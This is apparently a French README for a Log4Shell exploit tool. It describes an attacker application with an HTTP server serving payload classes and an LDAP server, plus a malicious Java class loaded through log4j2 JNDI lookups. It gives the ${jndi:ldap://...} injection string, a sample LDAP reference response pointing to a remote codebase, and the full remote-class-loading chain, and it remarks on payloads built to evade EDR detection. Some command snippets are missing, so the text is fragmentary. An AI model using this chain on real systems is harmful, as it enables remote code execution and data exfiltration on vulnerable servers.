log4j2-exploit

Ceci n'est pas requis dans les versions plus anciennes de JDK. La valeur par défaut a été changée à false dans : JDK 11.0.1, 8u191, 7u201 et 6u211. Même sans cette propriété, l'application est vulnérable aux requêtes LDAP initiales qui peuvent exfiltrer des données sensibles.

hacker

Application hacker qui sert deux objectifs :

• Démarre un serveur HTTP sur le port 9090 pour servir des charges utiles vulnérables
• Démarre un serveur LDAP en mémoire sur le port 1389

Comment exécuter :

Dans pom.xml vous pouvez changer la charge utile par défaut envoyée aux applications exploitables :

--class=SayHello est la valeur par défaut, ce qui signifie qu'il envoie SayHello.class comme charge utile.

Comment exploiter

Envoyez une requête curl à l'application exploitable en référençant le serveur LDAP hacker dans l'un des champs saisis par l'utilisateur (nom d'utilisateur) :

Dans la console de l'application exploitable, vous devriez voir quelque chose comme :

Sous le capot

1. L'attaquant a envoyé l'un des champs saisis par l'utilisateur sous la forme ${jndi:ldap://127.0.0.1:1389}
2. Le log4j2 vulnérable intégré dans l'application exploitable effectue une requête LDAP vers 127.0.0.1:1389
3. Il reçoit la réponse suivante :
   root@kitploit:~

   dn:
   objectClass: javaNamingReference
   javaClassName: SayHello
   javaCodeBase: http://127.0.0.1:9090/
   javaFactory: SayHello
   

4. L'application tente de récupérer la classe de la charge utile d'exploitation depuis http://127.0.0.1:9090/SayHello.class
5. Le serveur hacker renvoie les octets binaires de SayHello.class
6. L'application exécute la méthode getObjectInstance dans la classe d'exploitation

Note

Après la requête LDAP initiale et potentiellement le téléchargement de la classe Java d'exploitation, il n'est pas nécessaire que l'exploit fork un processus, établisse une connexion supplémentaire à Internet. Généralement, ce genre d'exploits peut être facilement détecté par les produits EDR, etc. Je soupçonne que les nouvelles charges utiles d'exploitation seront implémentées nativement en Java pour échapper à la détection.